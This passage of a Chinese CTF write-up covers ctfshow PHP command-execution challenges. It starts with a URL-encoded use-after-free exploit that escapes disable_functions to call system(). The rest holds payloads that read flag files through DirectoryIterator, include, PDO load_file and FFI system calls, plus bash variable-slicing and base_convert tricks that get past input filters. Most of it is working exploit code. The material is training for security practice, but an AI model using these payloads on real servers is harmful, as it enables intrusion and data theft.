20%7B%0A%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20for%20%28%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B%29%20%7B%0A%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf%28%22%25c%22%2C%28%24ptr%20%26%200xff%29%29%3B%0A%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%7D%0A%20%20%20%20return%20%24out%3B%0A%7D%0A%0Afunction%20write%28%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208%29%20%7B%0A%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20for%28%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B%29%20%7B%0A%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf%28%22%25c%22%2C%28%24v%20%26%200xff%29%29%3B%0A%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%7D%0A%7D%0A%0Afunction%20leak%28%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208%29%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20write%28%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10%29%3B%0A%20%20%20%20%24leak%20%3D%20strlen%28%24helper-%3Ea%29%3B%0A%20%20%20%20if%28%24s%20%21%3D%208%29%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20%28%24s%20%2A%208%29%20-%201%3B%20%7D%0A%20%20%20%20return%20%24leak%3B%0A%7D%0A%0Afunction%20parse_elf%28%24base%29%20%7B%0A%20%20%20%20%24e_type%20%3D%20leak%28%24base%2C%200x10%2C%202%29%3B%0A%0A%20%20%20%20%24e_phoff%20%3D%20leak%28%24base%2C%200x20%29%3B%0A%20%20%20%20%24e_phentsize%20%3D%20leak%28%24base%2C%200x36%2C%202%29%3B%0A%20%20%20%20%24e_phnum%20%3D%20leak%28%24base%2C%200x38%2C%202%29%3B%0A%0A%20%20%20%20for%28%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B%29%20%7B%0A%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20%2A%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak%28%24header%2C%200%2C%204%29%3B%0A%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak%28%24header%2C%204%2C%204%29%3B%0A%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak%28%24header%2C%200x10%29%3B%0A%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak%28%24header%2C%200x28%29%3B%0A%0A%20%20%20%20%20%20%20%20if%28%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206%29%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%7D%20else%20if%28%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205%29%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%28%21%24data_addr%20%7C%7C%20%21%24text_size%20%7C%7C%20%21%24data_size%29%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%7D%0A%0Afunction%20get_basic_funcs%28%24base%2C%20%24elf%29%20%7B%0A%20%20%20%20list%28%24data_addr%2C%20%24text_size%2C%20%24data_size%29%20%3D%20%24elf%3B%0A%20%20%20%20for%28%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B%29%20%7B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20leak%28%24data_addr%2C%20%24i%20%2A%208%29%3B%0A%20%20%20%20%20%20%20%20if%28%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak%28%24leak%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20if%28%24deref%20%21%3D%200x746e6174736e6f63%29%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20leak%28%24data_addr%2C%20%28%24i%20%2B%204%29%20%2A%208%29%3B%0A%20%20%20%20%20%20%20%20if%28%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak%28%24leak%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20if%28%24deref%20%21%3D%200x786568326e6962%29%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20%2A%208%3B%0A%20%20%20%20%7D%0A%7D%0A%0Afunction%20get_binary_base%28%24binary_leak%29%20%7B%0A%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20for%28%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B%29%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20%2A%20%24i%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20leak%28%24addr%2C%200%2C%207%29%3B%0A%20%20%20%20%20%20%20%20if%28%24leak%20%3D%3D%200x10102464c457f%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%7D%0A%0Afunction%20get_system%28%24basic_funcs%29%20%7B%0A%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak%28%24addr%29%3B%0A%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak%28%24f_entry%2C%200%2C%206%29%3B%0A%0A%20%20%20%20%20%20%20%20if%28%24f_name%20%3D%3D%200x6d6574737973%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20leak%28%24addr%20%2B%208%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%7D%20while%28%24f_entry%20%21%3D%200%29%3B%0A%20%20%20%20return%20false%3B%0A%7D%0A%0Afunction%20trigger_uaf%28%24arg%29%20%7B%0A%0A%20%20%20%20%24arg%20%3D%20str_shuffle%28%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27%29%3B%0A%20%20%20%20%24vuln%20%3D%20new%20Vuln%28%29%3B%0A%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%7D%0A%0Aif%28stristr%28PHP_OS%2C%20%27WIN%27%29%29%20%7B%0A%20%20%20%20die%28%27This%20PoC%20is%20for%20%2Anix%20systems%20only.%27%29%3B%0A%7D%0A%0A%24n_alloc%20%3D%2010%3B%20%0A%24contiguous%20%3D%20%5B%5D%3B%0Afor%28%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B%29%0A%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle%28%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27%29%3B%0A%0Atrigger_uaf%28%27x%27%29%3B%0A%24abc%20%3D%20%24backtrace%5B1%5D%5B%27args%27%5D%5B0%5D%3B%0A%0A%24helper%20%3D%20new%20Helper%3B%0A%24helper-%3Eb%20%3D%20function%20%28%24x%29%20%7B%20%7D%3B%0A%0Aif%28strlen%28%24abc%29%20%3D%3D%2079%20%7C%7C%20strlen%28%24abc%29%20%3D%3D%200%29%20%7B%0A%20%20%20%20die%28%22UAF%20failed%22%29%3B%0A%7D%0A%0A%24closure_handlers%20%3D%20str2ptr%28%24abc%2C%200%29%3B%0A%24php_heap%20%3D%20str2ptr%28%24abc%2C%200x58%29%3B%0A%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0Awrite%28%24abc%2C%200x60%2C%202%29%3B%0Awrite%28%24abc%2C%200x70%2C%206%29%3B%0A%0Awrite%28%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60%29%3B%0Awrite%28%24abc%2C%200x18%2C%200xa%29%3B%0A%0A%24closure_obj%20%3D%20str2ptr%28%24abc%2C%200x20%29%3B%0A%0A%24binary_leak%20%3D%20leak%28%24closure_handlers%2C%208%29%3B%0Aif%28%21%28%24base%20%3D%20get_binary_base%28%24binary_leak%29%29%29%20%7B%0A%20%20%20%20die%28%22Couldn%27t%20determine%20binary%20base%20address%22%29%3B%0A%7D%0A%0Aif%28%21%28%24elf%20%3D%20parse_elf%28%24base%29%29%29%20%7B%0A%20%20%20%20die%28%22Couldn%27t%20parse%20ELF%20header%22%29%3B%0A%7D%0A%0Aif%28%21%28%24basic_funcs%20%3D%20get_basic_funcs%28%24base%2C%20%24elf%29%29%29%20%7B%0A%20%20%20%20die%28%22Couldn%27t%20get%20basic_functions%20address%22%29%3B%0A%7D%0A%0Aif%28%21%28%24zif_system%20%3D%20get_system%28%24basic_funcs%29%29%29%20%7B%0A%20%20%20%20die%28%22Couldn%27t%20get%20zif_system%20address%22%29%3B%0A%7D%0A%0A%0A%24fake_obj_offset%20%3D%200xd0%3B%0Afor%28%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208%29%20%7B%0A%20%20%20%20write%28%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak%28%24closure_obj%2C%20%24i%29%29%3B%0A%7D%0A%0Awrite%28%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset%29%3B%0Awrite%28%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204%29%3B%20%0Awrite%28%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system%29%3B%20%0A%0A%28%24helper-%3Eb%29%28%24cmd%29%3B%0Aexit%28%29%3B%0A%7D%0A%0Actfshow%28%22cat%20%2Fflag0.txt%22%29%3Bob_end_flush%28%29%3B%20%3F%3E

45. web73 同72

只是flag名字变了 /flagc,但可以使用Include进行包含

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) { echo($f->__toString().' '); } exit(0); ?>  看目录
c=include('/flagc.txt');die(); 读文件

46. web74 同73

名字变了 flagx.txt

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) { echo($f->__toString().' '); } exit(0); ?>  看目录
c=include('/flagx.txt');die(); 读文件

47. web75 PDO连接数据库查询

这次名字变成了 flag36.txt
这里 strlen 函数被禁用 导致无法获取system地址就无法是进行uaf读文件
记得url编码

c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

Pasted image 20250117223922

48. web76 同上

同上 文件名变成了 flag36d.txt

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) { echo($f->__toString().' '); } exit(0); ?> //获取文件名

c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');

    foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

记得对payload进行url编码

49. web77 FFi调用c语言实现命令执行

这题关闭了PDO数据库连接
利用FFi调用c语言实现命令执行

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

先获取到文件名 flag36x.txt

c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > /var/www/html/1.txt';$ffi->system($a);

然后访问1.txt

50. web118 系统变量拼接法

这是黑盒测试
测试了一下过滤了 0-9a-z*()&!^%'"/|\

提示:
system($code);

思路是相办法用剩下的字符构造出一个 命令 参数 可以获取到flag.php
最简单想到的肯定是 cat flag.php, 这里面空格我们可以用 ${IFS} 绕过 flag.php可以用 ????.??? 进行匹配。 主要是前面的 命令改如果表示出来

这里给出payload

${PATH:~A}${PWD:~A}$IFS????.???

${PATH:~A} 用与输出环境变量的最后一位
对于一个正常的linux主机来说 他的环境变量最后一般都是/bin 所以输出最后一位是n

当前的环境变量:
root@hcss-ecs-0abd:~# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

则${PATH:~A}输出:
root@hcss-ecs-0abd:~# echo ${PATH:~A}
n

即环境变量的最后一位字符

同理 ${PWD:~A} 输出的是当前目录的最后一位字符
对于此题来说,当前目录是/var/wwww/html
那么输出就是 l
正好 nl 抽一起组成了 nl 可以进行文件读取
这里就是这么两个巧合加在一起解决了该题

这里再多说一点:
echo ${PATH} 输出PATH系统变量
echo ${PATH:~a-zA-Z} 都是只会输出最后一个字符
echo ${PATH:~0} 也是输出最后一个字符
echo ${PATH:~9} 输出最后0-9 一共10个字符
~ 表示从后往前输出
echo ${PATH:2} 输出从第3个字符到最后一直完结
echo ${PATH:a-zA-Z} == echo ${PATH:0} == echo ${PATH}
也可以使用 echo ${PATH:2:10} 输出指定的长度
使用 echo ${PATH::2} 输出前2位字符

51. web119 系统变量拼接法2

同样是黑盒

提示
<!-- system($code);-->

这里会多用到一些方式
${#} 表示0
${##} ${SHLVL} 表示1
${PWD:${#}:${##}} ${PWD::${##}} ${PWD::1}表示/
${#IFS} 表示 3。(linux下是3,mac里是4)

然后一步一步构造

$PWD=/var/www/html

/bin/cat flag.php

/???/?at ?l??.php

${PWD:${#}:${##}} = {${PWD}:0:1} = /

${PWD:${SHLVL}:${#SHLVL}} = ${PWD:2:1} = a

${PWD:~${SHLVL}:${#SHLVL}} = ${PWD:-2:1} = t

${PWD:~A} = 取最后一位 = l

${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS?${PWD:~A}??.???

52. web120 系统变量拼接法3

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这里过滤了很多。但没有过滤$ {} 与A-Z 所以肯定就是一共系统变量拼接的题目
但这里限制了长度,我们不能用上一题的做法了。即用 1:2 这种方式去获取我们想要的字符,这种方式会大大的加长我们的长度

这里使用 ${PWD::${##}} 来表示/

构造/bin/cat ????.???
使用${PWD:~${SHLVL}:${#SHLVL}} = ${PWD:-2:1} = t
${PWD::${##}}???${PWD::${##}}??${PWD:~${SHLVL}:${##}} ????.???

53. web121 系统变量拼接法4

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这里多禁用了 SHLVL
这里利用 /bin/base64 flag.php 来输出结果
其中 /${PWD::${##}} 表示
4 用 ${#RANDOM} 来表示(这个有概率是4 有概率是5 多试几次即可)

${PWD::${##}}???${PWD::${##}}?????${#RANDOM}${IFS}????.???

54. web122 系统变量拼接法5

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这里过滤了PWD 但我们可以使用HOME
但这里过滤掉了# 我们需要寻找另外表示1的办法
这里利用 $? 来表示出1
$? 是表示上一条命令执行结束后的传回值。0代表执行成功,非0则是报错
这里通过 <A 可以使的报错传回值为1

理论成立,开始构建

code=<A;${HOME::$?}???${HOME::$?}????${RANDOM::$?}? ????.???

这里需要多发送几次,让 ${RANDOM::$?} 随机出6 实现base64

55. web124 进制转换构造函数

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

此题比较难。

c=$pi=base_convert(26941962055,10,34)(dechex(1598506324));$$pi{abs}($$pi{asin})&abs=system&asin=tac flag.php

这里把参数C设置成变量 $pi$pi =base_convert(26941962055,10,34)(dechex(1598506324))
base_convert(26941962055,10,34) 将10进制26941962055转换成34进制 得到hex2bin
dechex(1598506324)将10进制1598506324转换成16进制5f474554
然后hex2bin(5f474554)将16进制5f474554转换成字符串得到_GET
所以 $pi就是_GET

$$pi{abs} 分为两部分 $$pi{abs}
$$pi 就是 $_GET{abs} 是对 $_GET 数组进行偏移访问,abs 就是数组中的一个键(key)通过 {abs},实际上是在访问 $_GET['abs']
$$pi{abs}($$pi{asin}) 就相当于是$_GET['abs']($_GET['acos'])

56. 参考文章